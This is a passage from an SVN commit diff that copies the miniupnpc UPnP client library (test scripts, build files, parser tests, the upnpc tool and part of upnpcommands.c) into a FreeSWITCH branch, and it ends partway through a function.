@@ -0,0 +1,52 @@
+#! /usr/bin/python
+# MiniUPnP project
+# Author : Thomas Bernard
+# This Sample code is public domain.
+# website : http://miniupnp.tuxfamily.org/
+
+# import the python miniupnpc module
+import miniupnpc
+import sys
+
+# create the object
+u = miniupnpc.UPnP()
+print 'inital(default) values :'
+print ' discoverdelay', u.discoverdelay
+print ' lanaddr', u.lanaddr
+print ' multicastif', u.multicastif
+print ' minissdpdsocket', u.minissdpdsocket
+u.discoverdelay = 200;
+#u.minissdpdsocket = '../minissdpd/minissdpd.sock'
+# discovery process, it usualy takes several seconds (2 seconds or more)
+print 'Discovering... delay=%ums' % u.discoverdelay
+print u.discover(), 'device(s) detected'
+# select an igd
+try:
+  u.selectigd()
+except Exception, e:
+  print 'Exception :', e
+  sys.exit(1)
+# display information about the IGD and the internet connection
+print 'local ip address :', u.lanaddr
+print 'external ip address :', u.externalipaddress()
+print u.statusinfo(), u.connectiontype()
+
+#print u.addportmapping(64000, 'TCP',
+#                       '192.168.1.166', 63000, 'port mapping test', '')
+#print u.deleteportmapping(64000, 'TCP')
+
+port = 0
+proto = 'UDP'
+# list the redirections :
+i = 0
+while True:
+	p = u.getgenericportmapping(i)
+	if p==None:
+		break
+	print i, p
+	(port, proto, (ihost,iport), desc, c, d, e) = p
+	#print port, desc
+	i = i + 1
+
+print u.getspecificportmapping(port, proto)
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/setup.py

Copied: freeswitch/branches/seven/libs/miniupnpc/setup.py (from rev 14471, freeswitch/trunk/libs/miniupnpc/setup.py) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/setup.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/setup.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+#! /usr/bin/python
+# $Id: setup.py,v 1.3 2009/04/17 20:59:42 nanard Exp $
+# the MiniUPnP Project (c) 2007 Thomas Bernard
+# http://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
+#
+# python script to build the miniupnpc module under unix
+#
+# replace libminiupnpc.a by libminiupnpc.so for shared library usage
+from distutils.core import setup, Extension
+setup(name="miniupnpc", version="1.3",
+      ext_modules=[
+	         Extension(name="miniupnpc", sources=["miniupnpcmodule.c"],
+			           extra_objects=["libminiupnpc.a"])
+			 ])
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/setupmingw32.py

Copied: freeswitch/branches/seven/libs/miniupnpc/setupmingw32.py (from rev 14471, freeswitch/trunk/libs/miniupnpc/setupmingw32.py) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/setupmingw32.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/setupmingw32.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+#! /usr/bin/python
+# $Id: setupmingw32.py,v 1.1 2007/06/12 23:04:13 nanard Exp $
+# the MiniUPnP Project (c) 2007 Thomas Bernard
+# http://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
+#
+# python script to build the miniupnpc module under unix
+#
+from distutils.core import setup, Extension
+setup(name="miniupnpc", version="1.0-RC6",
+      ext_modules=[
+	         Extension(name="miniupnpc", sources=["miniupnpcmodule.c"],
+	                   libraries=["ws2_32"],
+			           extra_objects=["libminiupnpc.a"])
+			 ])
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/testigddescparse.c

Copied: freeswitch/branches/seven/libs/miniupnpc/testigddescparse.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/testigddescparse.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/testigddescparse.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/testigddescparse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+/* $Id: testigddescparse.c,v 1.1 2008/04/23 11:53:45 nanard Exp $ */
+/* Project : miniupnp
+ * http://miniupnp.free.fr/
+ * Author : Thomas Bernard
+ * Copyright (c) 2008 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "igd_desc_parse.h"
+#include "minixml.h"
+
+int test_igd_desc_parse(char * buffer, int len)
+{
+	struct IGDdatas igd;
+	struct xmlparser parser;
+	memset(&igd, 0, sizeof(struct IGDdatas));
+	memset(&parser, 0, sizeof(struct xmlparser));
+	parser.xmlstart = buffer;
+	parser.xmlsize = len;
+	parser.data = &igd;
+	parser.starteltfunc = IGDstartelt;
+	parser.endeltfunc = IGDendelt;
+	parser.datafunc = IGDdata; 
+	parsexml(&parser);
+	printIGD(&igd);
+	return 0;
+}
+
+int main(int argc, char * * argv)
+{
+	FILE * f;
+	char * buffer;
+	int len;
+	int r = 0;
+	if(argc<2) {
+		fprintf(stderr, "Usage: %s file.xml\n", argv[0]);
+		return 1;
+	}
+	f = fopen(argv[1], "r");
+	if(!f) {
+		fprintf(stderr, "Cannot open %s for reading.\n", argv[1]);
+		return 1;
+	}
+	fseek(f, 0, SEEK_END);
+	len = ftell(f);
+	fseek(f, 0, SEEK_SET);
+	buffer = malloc(len);
+	fread(buffer, 1, len, f);
+	fclose(f);
+	r = test_igd_desc_parse(buffer, len);
+	free(buffer);
+	return r;
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/testminixml.c

Copied: freeswitch/branches/seven/libs/miniupnpc/testminixml.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/testminixml.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/testminixml.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/testminixml.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+/* $Id: testminixml.c,v 1.6 2006/11/19 22:32:35 nanard Exp $
+ * testminixml.c
+ * test program for the "minixml" functions.
+ * Author : Thomas Bernard.
+ */
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "minixml.h"
+#include "igd_desc_parse.h"
+
+#ifdef WIN32
+#define NO_BZERO
+#endif
+
+#ifdef NO_BZERO
+#define bzero(p, n) memset(p, 0, n)
+#endif
+
+/* ---------------------------------------------------------------------- */
+void printeltname1(void * d, const char * name, int l)
+{
+	int i;
+	printf("element ");
+	for(i=0;i<l;i++)
+		putchar(name[i]);
+}
+void printeltname2(void * d, const char * name, int l)
+{
+	int i;
+	putchar('/');
+	for(i=0;i<l;i++)
+		putchar(name[i]);
+	putchar('\n');
+}
+void printdata(void *d, const char * data, int l)
+{
+	int i;
+	printf("data : ");
+	for(i=0;i<l;i++)
+		putchar(data[i]);
+	putchar('\n');
+}
+
+void burptest(const char * buffer, int bufsize)
+{
+	struct IGDdatas data;
+	struct xmlparser parser;
+	/*objet IGDdatas */
+	bzero(&data, sizeof(struct IGDdatas));
+	/* objet xmlparser */
+	parser.xmlstart = buffer;
+	parser.xmlsize = bufsize;
+	parser.data = &data;
+	/*parser.starteltfunc = printeltname1;
+	parser.endeltfunc = printeltname2;
+	parser.datafunc = printdata; */
+	parser.starteltfunc = IGDstartelt;
+	parser.endeltfunc = IGDendelt;
+	parser.datafunc = IGDdata; 
+	parsexml(&parser);
+	printIGD(&data);
+}
+
+/* ----- main ---- */
+#define XML_MAX_SIZE (8192)
+int main(int argc, char * * argv)
+{
+	FILE * f;
+	char buffer[XML_MAX_SIZE];
+	int bufsize;
+	if(argc<2)
+	{
+		printf("usage:\t%s file.xml\n", argv[0]);
+		return 1;
+	}
+	f = fopen(argv[1], "r");
+	if(!f)
+	{
+		printf("cannot open file %s\n", argv[1]);
+		return 1;
+	}
+	bufsize = (int)fread(buffer, 1, XML_MAX_SIZE, f);
+	fclose(f);
+	burptest(buffer, bufsize);
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/testupnpigd.py

Copied: freeswitch/branches/seven/libs/miniupnpc/testupnpigd.py (from rev 14471, freeswitch/trunk/libs/miniupnpc/testupnpigd.py) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/testupnpigd.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/testupnpigd.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+#! /usr/bin/python
+# $Id: testupnpigd.py,v 1.4 2008/10/11 10:27:20 nanard Exp $
+# MiniUPnP project
+# Author : Thomas Bernard
+# This Sample code is public domain.
+# website : http://miniupnp.tuxfamily.org/
+
+# import the python miniupnpc module
+import miniupnpc
+import socket
+import BaseHTTPServer
+
+# function definition
+def list_redirections():
+	i = 0
+	while True:
+		p = u.getgenericportmapping(i)
+		if p==None:
+			break
+		print i, p
+		i = i + 1
+
+#define the handler class for HTTP connections
+class handler_class(BaseHTTPServer.BaseHTTPRequestHandler):
+	def do_GET(self):
+		self.send_response(200)
+		self.end_headers()
+		self.wfile.write("OK MON GARS")
+
+# create the object
+u = miniupnpc.UPnP()
+#print 'inital(default) values :'
+#print ' discoverdelay', u.discoverdelay
+#print ' lanaddr', u.lanaddr
+#print ' multicastif', u.multicastif
+#print ' minissdpdsocket', u.minissdpdsocket
+u.discoverdelay = 200;
+
+try:
+	print 'Discovering... delay=%ums' % u.discoverdelay
+	ndevices = u.discover()
+	print ndevices, 'device(s) detected'
+
+	# select an igd
+	u.selectigd()
+	# display information about the IGD and the internet connection
+	print 'local ip address :', u.lanaddr
+	externalipaddress = u.externalipaddress()
+	print 'external ip address :', externalipaddress
+	print u.statusinfo(), u.connectiontype()
+
+	#instanciate a HTTPd object. The port is assigned by the system.
+	httpd = BaseHTTPServer.HTTPServer((u.lanaddr, 0), handler_class)
+	eport = httpd.server_port
+
+	# find a free port for the redirection
+	r = u.getspecificportmapping(eport, 'TCP')
+	while r != None and eport < 65536:
+		eport = eport + 1
+		r = u.getspecificportmapping(eport, 'TCP')
+
+	print 'trying to redirect %s port %u TCP => %s port %u TCP' % (externalipaddress, eport, u.lanaddr, httpd.server_port)
+
+	b = u.addportmapping(eport, 'TCP', u.lanaddr, httpd.server_port,
+	                    'UPnP IGD Tester port %u' % eport, '')
+	if b:
+		print 'Success. Now waiting for some HTTP request on http://%s:%u' % (externalipaddress ,eport)
+		try:
+			httpd.handle_request()
+			httpd.server_close()
+		except KeyboardInterrupt, details:
+			print "CTRL-C exception!", details
+		b = u.deleteportmapping(eport, 'TCP')
+		if b:
+			print 'Successfully deleted port mapping'
+		else:
+			print 'Failed to remove port mapping'
+	else:
+		print 'Failed'
+
+	httpd.server_close()
+
+except Exception, e:
+	print 'Exception :', e

Deleted: freeswitch/branches/seven/libs/miniupnpc/testupnpreplyparse.c

Copied: freeswitch/branches/seven/libs/miniupnpc/testupnpreplyparse.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/testupnpreplyparse.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/testupnpreplyparse.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/testupnpreplyparse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+/* $Id: testupnpreplyparse.c,v 1.2 2008/02/21 13:05:27 nanard Exp $ */
+/* MiniUPnP project
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * (c) 2006-2007 Thomas Bernard
+ * This software is subject to the conditions detailed
+ * in the LICENCE file provided within the distribution */
+#include <stdio.h>
+#include <stdlib.h>
+#include "upnpreplyparse.h"
+
+void
+test_parsing(const char * buf, int len)
+{
+	struct NameValueParserData pdata;
+	ParseNameValue(buf, len, &pdata);
+	ClearNameValueList(&pdata);
+}
+
+int main(int argc, char * * argv)
+{
+	FILE * f;
+	char buffer[4096];
+	int l;
+	if(argc<2)
+	{
+		fprintf(stderr, "Usage: %s file.xml\n", argv[0]);
+		return 1;
+	}
+	f = fopen(argv[1], "r");
+	if(!f)
+	{
+		fprintf(stderr, "Error : can not open file %s\n", argv[1]);
+		return 2;
+	}
+	l = fread(buffer, 1, sizeof(buffer)-1, f);
+	fclose(f);
+	buffer[l] = '\0';
+#ifdef DEBUG
+	DisplayNameValueList(buffer, l);
+#endif
+	test_parsing(buffer, l);
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/updateminiupnpcstrings.sh

Copied: freeswitch/branches/seven/libs/miniupnpc/updateminiupnpcstrings.sh (from rev 14471, freeswitch/trunk/libs/miniupnpc/updateminiupnpcstrings.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/updateminiupnpcstrings.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/updateminiupnpcstrings.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+#! /bin/sh
+# $Id: updateminiupnpcstrings.sh,v 1.1 2008/10/11 16:39:29 nanard Exp $
+
+FILE=miniupnpcstrings.h
+
+# detecting the OS name and version
+OS_NAME=`uname -s`
+OS_VERSION=`uname -r`
+if [ -f /etc/debian_version ]; then
+	OS_NAME=Debian
+	OS_VERSION=`cat /etc/debian_version`
+fi
+# use lsb_release (Linux Standard Base) when available
+LSB_RELEASE=`which lsb_release`
+if [ 0 -eq $? ]; then
+	OS_NAME=`${LSB_RELEASE} -i -s`
+	OS_VERSION=`${LSB_RELEASE} -r -s`
+	case $OS_NAME in
+		Debian)
+			#OS_VERSION=`${LSB_RELEASE} -c -s`
+			;;
+		Ubuntu)
+			#OS_VERSION=`${LSB_RELEASE} -c -s`
+			;;
+	esac
+fi
+
+echo "Detected OS [$OS_NAME] version [$OS_VERSION]"
+
+EXPR="s/OS_STRING\s\".*\"/OS_STRING \"${OS_NAME}\/${OS_VERSION}\"/"
+#echo $EXPR
+echo "Backuping $FILE to $FILE.bak."
+cp $FILE $FILE.bak
+echo "setting OS_STRING macro value to ${OS_NAME}/${OS_VERSION} in $FILE."
+cat $FILE.bak | sed -e "$EXPR" > $FILE
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnpc.c

Copied: freeswitch/branches/seven/libs/miniupnpc/upnpc.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnpc.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnpc.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,374 @@
+/* $Id: upnpc.c,v 1.65 2008/10/14 18:05:27 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005-2008 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#ifdef WIN32
+#include <winsock2.h>
+#define snprintf _snprintf
+#endif
+#include "miniwget.h"
+#include "miniupnpc.h"
+#include "upnpcommands.h"
+#include "upnperrors.h"
+
+/* protofix() checks if protocol is "UDP" or "TCP" 
+ * returns NULL if not */
+const char * protofix(const char * proto)
+{
+	static const char proto_tcp[4] = { 'T', 'C', 'P', 0};
+	static const char proto_udp[4] = { 'U', 'D', 'P', 0};
+	int i, b;
+	for(i=0, b=1; i<4; i++)
+		b = b && (   (proto[i] == proto_tcp[i]) 
+		          || (proto[i] == (proto_tcp[i] | 32)) );
+	if(b)
+		return proto_tcp;
+	for(i=0, b=1; i<4; i++)
+		b = b && (   (proto[i] == proto_udp[i])
+		          || (proto[i] == (proto_udp[i] | 32)) );
+	if(b)
+		return proto_udp;
+	return 0;
+}
+
+static void DisplayInfos(struct UPNPUrls * urls,
+                         struct IGDdatas * data)
+{
+	char externalIPAddress[16];
+	char connectionType[64];
+	char status[64];
+	char lastconnerr[64];
+	unsigned int uptime;
+	unsigned int brUp, brDown;
+	int r;
+	UPNP_GetConnectionTypeInfo(urls->controlURL,
+	                           data->servicetype,
+							   connectionType);
+	if(connectionType[0])
+		printf("Connection Type : %s\n", connectionType);
+	else
+		printf("GetConnectionTypeInfo failed.\n");
+	UPNP_GetStatusInfo(urls->controlURL, data->servicetype,
+	                   status, &uptime, lastconnerr);
+	printf("Status : %s, uptime=%u, LastConnectionError : %s\n",
+	       status, uptime, lastconnerr);
+	UPNP_GetLinkLayerMaxBitRates(urls->controlURL_CIF, data->servicetype_CIF,
+			&brDown, &brUp);
+	printf("MaxBitRateDown : %u bps   MaxBitRateUp %u bps\n", brDown, brUp);
+	r = UPNP_GetExternalIPAddress(urls->controlURL,
+	                          data->servicetype,
+							  externalIPAddress);
+	if(r != UPNPCOMMAND_SUCCESS)
+		printf("GetExternalIPAddress() returned %d\n", r);
+	if(externalIPAddress[0])
+		printf("ExternalIPAddress = %s\n", externalIPAddress);
+	else
+		printf("GetExternalIPAddress failed.\n");
+}
+
+static void GetConnectionStatus(struct UPNPUrls * urls,
+                               struct IGDdatas * data)
+{
+	unsigned int bytessent, bytesreceived, packetsreceived, packetssent;
+	DisplayInfos(urls, data);
+	bytessent = UPNP_GetTotalBytesSent(urls->controlURL_CIF, data->servicetype_CIF);
+	bytesreceived = UPNP_GetTotalBytesReceived(urls->controlURL_CIF, data->servicetype_CIF);
+	packetssent = UPNP_GetTotalPacketsSent(urls->controlURL_CIF, data->servicetype_CIF);
+	packetsreceived = UPNP_GetTotalPacketsReceived(urls->controlURL_CIF, data->servicetype_CIF);
+	printf("Bytes:   Sent: %8u\tRecv: %8u\n", bytessent, bytesreceived);
+	printf("Packets: Sent: %8u\tRecv: %8u\n", packetssent, packetsreceived);
+}
+
+static void ListRedirections(struct UPNPUrls * urls,
+                             struct IGDdatas * data)
+{
+	int r;
+	int i = 0;
+	char index[6];
+	char intClient[16];
+	char intPort[6];
+	char extPort[6];
+	char protocol[4];
+	char desc[80];
+	char enabled[6];
+	char rHost[64];
+	char duration[16];
+	/*unsigned int num=0;
+	UPNP_GetPortMappingNumberOfEntries(urls->controlURL, data->servicetype, &num);
+	printf("PortMappingNumberOfEntries : %u\n", num);*/
+	do {
+		snprintf(index, 6, "%d", i);
+		rHost[0] = '\0'; enabled[0] = '\0';
+		duration[0] = '\0'; desc[0] = '\0';
+		extPort[0] = '\0'; intPort[0] = '\0'; intClient[0] = '\0';
+		r = UPNP_GetGenericPortMappingEntry(urls->controlURL, data->servicetype,
+		                               index,
+		                               extPort, intClient, intPort,
+									   protocol, desc, enabled,
+									   rHost, duration);
+		if(r==0)
+		/*
+			printf("%02d - %s %s->%s:%s\tenabled=%s leaseDuration=%s\n"
+			       "     desc='%s' rHost='%s'\n",
+			       i, protocol, extPort, intClient, intPort,
+				   enabled, duration,
+				   desc, rHost);
+				   */
+			printf("%2d %s %5s->%s:%-5s '%s' '%s'\n",
+			       i, protocol, extPort, intClient, intPort,
+			       desc, rHost);
+		else
+			printf("GetGenericPortMappingEntry() returned %d (%s)\n",
+			       r, strupnperror(r));
+		i++;
+	} while(r==0);
+}
+
+/* Test function 
+ * 1 - get connection type
+ * 2 - get extenal ip address
+ * 3 - Add port mapping
+ * 4 - get this port mapping from the IGD */
+static void SetRedirectAndTest(struct UPNPUrls * urls,
+                               struct IGDdatas * data,
+							   const char * iaddr,
+							   const char * iport,
+							   const char * eport,
+                               const char * proto)
+{
+	char externalIPAddress[16];
+	char intClient[16];
+	char intPort[6];
+	int r;
+
+	if(!iaddr || !iport || !eport || !proto)
+	{
+		fprintf(stderr, "Wrong arguments\n");
+		return;
+	}
+	proto = protofix(proto);
+	if(!proto)
+	{
+		fprintf(stderr, "invalid protocol\n");
+		return;
+	}
+	
+	UPNP_GetExternalIPAddress(urls->controlURL,
+	                          data->servicetype,
+							  externalIPAddress);
+	if(externalIPAddress[0])
+		printf("ExternalIPAddress = %s\n", externalIPAddress);
+	else
+		printf("GetExternalIPAddress failed.\n");
+	
+	r = UPNP_AddPortMapping(urls->controlURL, data->servicetype,
+	                        eport, iport, iaddr, 0, proto, 0);
+	if(r!=UPNPCOMMAND_SUCCESS)
+		printf("AddPortMapping(%s, %s, %s) failed with code %d\n",
+		       eport, iport, iaddr, r);
+
+	r = UPNP_GetSpecificPortMappingEntry(urls->controlURL,
+	                                 data->servicetype,
+    	                             eport, proto,
+									 intClient, intPort);
+	if(r!=UPNPCOMMAND_SUCCESS)
+		printf("GetSpecificPortMappingEntry() failed with code %d\n", r);
+	
+	if(intClient[0]) {
+		printf("InternalIP:Port = %s:%s\n", intClient, intPort);
+		printf("external %s:%s %s is redirected to internal %s:%s\n",
+		       externalIPAddress, eport, proto, intClient, intPort);
+	}
+}
+
+static void
+RemoveRedirect(struct UPNPUrls * urls,
+               struct IGDdatas * data,
+			   const char * eport,
+			   const char * proto)
+{
+	int r;
+	if(!proto || !eport)
+	{
+		fprintf(stderr, "invalid arguments\n");
+		return;
+	}
+	proto = protofix(proto);
+	if(!proto)
+	{
+		fprintf(stderr, "protocol invalid\n");
+		return;
+	}
+	r = UPNP_DeletePortMapping(urls->controlURL, data->servicetype, eport, proto, 0);
+	printf("UPNP_DeletePortMapping() returned : %d\n", r);
+}
+
+
+/* sample upnp client program */
+int main(int argc, char ** argv)
+{
+	char command = 0;
+	char ** commandargv = 0;
+	int commandargc = 0;
+	struct UPNPDev * devlist = 0;
+	char lanaddr[16];	/* my ip address on the LAN */
+	int i;
+	const char * rootdescurl = 0;
+	const char * multicastif = 0;
+	const char * minissdpdpath = 0;
+
+#ifdef WIN32
+	WSADATA wsaData;
+	int nResult = WSAStartup(MAKEWORD(2,2), &wsaData);
+	if(nResult != NO_ERROR)
+	{
+		fprintf(stderr, "WSAStartup() failed.\n");
+		return -1;
+	}
+#endif
+    printf("upnpc : miniupnpc library test client. (c) 2006-2008 Thomas Bernard\n");
+    printf("Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/\n"
+	       "for more information.\n");
+	/* command line processing */
+	for(i=1; i<argc; i++)
+	{
+		if(argv[i][0] == '-')
+		{
+			if(argv[i][1] == 'u')
+				rootdescurl = argv[++i];
+			else if(argv[i][1] == 'm')
+				multicastif = argv[++i];
+			else if(argv[i][1] == 'p')
+				minissdpdpath = argv[++i];
+			else
+			{
+				command = argv[i][1];
+				i++;
+				commandargv = argv + i;
+				commandargc = argc - i;
+				break;
+			}
+		}
+		else
+		{
+			fprintf(stderr, "option '%s' invalid\n", argv[i]);
+		}
+	}
+
+	if(!command || (command == 'a' && commandargc<4)
+	   || (command == 'd' && argc<2)
+	   || (command == 'r' && argc<2))
+	{
+		fprintf(stderr, "Usage :\t%s [options] -a ip port external_port protocol\n\t\tAdd port redirection\n", argv[0]);
+		fprintf(stderr, "       \t%s [options] -d external_port protocol\n\t\tDelete port redirection\n", argv[0]);
+		fprintf(stderr, "       \t%s [options] -s\n\t\tGet Connection status\n", argv[0]);
+		fprintf(stderr, "       \t%s [options] -l\n\t\tList redirections\n", argv[0]);
+		fprintf(stderr, "       \t%s [options] -r port1 protocol1 [port2 protocol2] [...]\n\t\tAdd all redirections to the current host\n", argv[0]);
+		fprintf(stderr, "\nprotocol is UDP or TCP\n");
+		fprintf(stderr, "Options:\n");
+		fprintf(stderr, "  -u url : bypass discovery process by providing the XML root description url.\n");
+		fprintf(stderr, "  -m address : provide ip address of the interface to use for sending SSDP multicast packets.\n");
+		fprintf(stderr, "  -p path : use this path for MiniSSDPd socket.\n");
+		return 1;
+	}
+
+	if( rootdescurl
+	  || (devlist = upnpDiscover(2000, multicastif, minissdpdpath, 0)))
+	{
+		struct UPNPDev * device;
+		struct UPNPUrls urls;
+		struct IGDdatas data;
+		if(devlist)
+		{
+			printf("List of UPNP devices found on the network :\n");
+			for(device = devlist; device; device = device->pNext)
+			{
+				printf(" desc: %s\n st: %s\n\n",
+					   device->descURL, device->st);
+			}
+		}
+		i = 1;
+		if( (rootdescurl && UPNP_GetIGDFromUrl(rootdescurl, &urls, &data, lanaddr, sizeof(lanaddr)))
+		  || (i = UPNP_GetValidIGD(devlist, &urls, &data, lanaddr, sizeof(lanaddr))))
+		{
+			switch(i) {
+			case 1:
+				printf("Found valid IGD : %s\n", urls.controlURL);
+				break;
+			case 2:
+				printf("Found a (not connected?) IGD : %s\n", urls.controlURL);
+				printf("Trying to continue anyway\n");
+				break;
+			case 3:
+				printf("UPnP device found. Is it an IGD ? : %s\n", urls.controlURL);
+				printf("Trying to continue anyway\n");
+				break;
+			default:
+				printf("Found device (igd ?) : %s\n", urls.controlURL);
+				printf("Trying to continue anyway\n");
+			}
+			printf("Local LAN ip address : %s\n", lanaddr);
+			#if 0
+			printf("getting \"%s\"\n", urls.ipcondescURL);
+			descXML = miniwget(urls.ipcondescURL, &descXMLsize);
+			if(descXML)
+			{
+				/*fwrite(descXML, 1, descXMLsize, stdout);*/
+				free(descXML); descXML = NULL;
+			}
+			#endif
+
+			switch(command)
+			{
+			case 'l':
+				DisplayInfos(&urls, &data);
+				ListRedirections(&urls, &data);
+				break;
+			case 'a':
+				SetRedirectAndTest(&urls, &data,
+				                   commandargv[0], commandargv[1],
+				                   commandargv[2], commandargv[3]);
+				break;
+			case 'd':
+				RemoveRedirect(&urls, &data, commandargv[0], commandargv[1]);
+				break;
+			case 's':
+				GetConnectionStatus(&urls, &data);
+				break;
+			case 'r':
+				for(i=0; i<commandargc; i+=2)
+				{
+					/*printf("port %s protocol %s\n", argv[i], argv[i+1]);*/
+					SetRedirectAndTest(&urls, &data,
+					                   lanaddr, commandargv[i],
+									   commandargv[i], commandargv[i+1]);
+				}
+				break;
+			default:
+				fprintf(stderr, "Unknown switch -%c\n", command);
+			}
+
+			FreeUPNPUrls(&urls);
+		}
+		else
+		{
+			fprintf(stderr, "No valid UPNP Internet Gateway Device found.\n");
+		}
+		freeUPNPDevlist(devlist); devlist = 0;
+	}
+	else
+	{
+		fprintf(stderr, "No IGD UPnP Device found on the network !\n");
+	}
+
+	/*puts("************* HOP ***************");*/
+
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnpcommands.c

Copied: freeswitch/branches/seven/libs/miniupnpc/upnpcommands.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnpcommands.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnpcommands.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnpcommands.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,573 @@
+/* $Id: upnpcommands.c,v 1.24 2009/04/17 21:21:19 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005-2009 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "upnpcommands.h"
+#include "miniupnpc.h"
+
+static UNSIGNED_INTEGER
+my_atoui(const char * s)
+{
+	return s ? ((UNSIGNED_INTEGER)STRTOUI(s, NULL, 0)) : 0;
+}
+
+/*
+ * */
+UNSIGNED_INTEGER
+UPNP_GetTotalBytesSent(const char * controlURL,
+					const char * servicetype)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	unsigned int r = 0;
+	char * p;
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetTotalBytesSent", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	p = GetValueFromNameValueList(&pdata, "NewTotalBytesSent");
+	r = my_atoui(p);
+	ClearNameValueList(&pdata);
+	return r;
+}
+
+/*
+ * */
+UNSIGNED_INTEGER
+UPNP_GetTotalBytesReceived(const char * controlURL,
+						const char * servicetype)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	unsigned int r = 0;
+	char * p;
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetTotalBytesReceived", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	p = GetValueFromNameValueList(&pdata, "NewTotalBytesReceived");
+	r = my_atoui(p);
+	ClearNameValueList(&pdata);
+	return r;
+}
+
+/*
+ * */
+UNSIGNED_INTEGER
+UPNP_GetTotalPacketsSent(const char * controlURL,
+						const char * servicetype)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	unsigned int r = 0;
+	char * p;
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetTotalPacketsSent", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	p = GetValueFromNameValueList(&pdata, "NewTotalPacketsSent");
+	r = my_atoui(p);
+	ClearNameValueList(&pdata);
+	return r;
+}
+
+/*
+ * */
+UNSIGNED_INTEGER
+UPNP_GetTotalPacketsReceived(const char * controlURL,
+						const char * servicetype)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	unsigned int r = 0;
+	char * p;
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetTotalPacketsReceived", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	p = GetValueFromNameValueList(&pdata, "NewTotalPacketsReceived");
+	r = my_atoui(p);
+	ClearNameValueList(&pdata);
+	return r;
+}
+
+/* UPNP_GetStatusInfo() call the corresponding UPNP method
+ * returns the current status and uptime */
+int UPNP_GetStatusInfo(const char * controlURL,
+					const char * servicetype,
+					char * status, 
+					unsigned int * uptime,
+					char * lastconnerror)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	char * p;
+	char * up;
+	char * err;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	if(!status && !uptime)
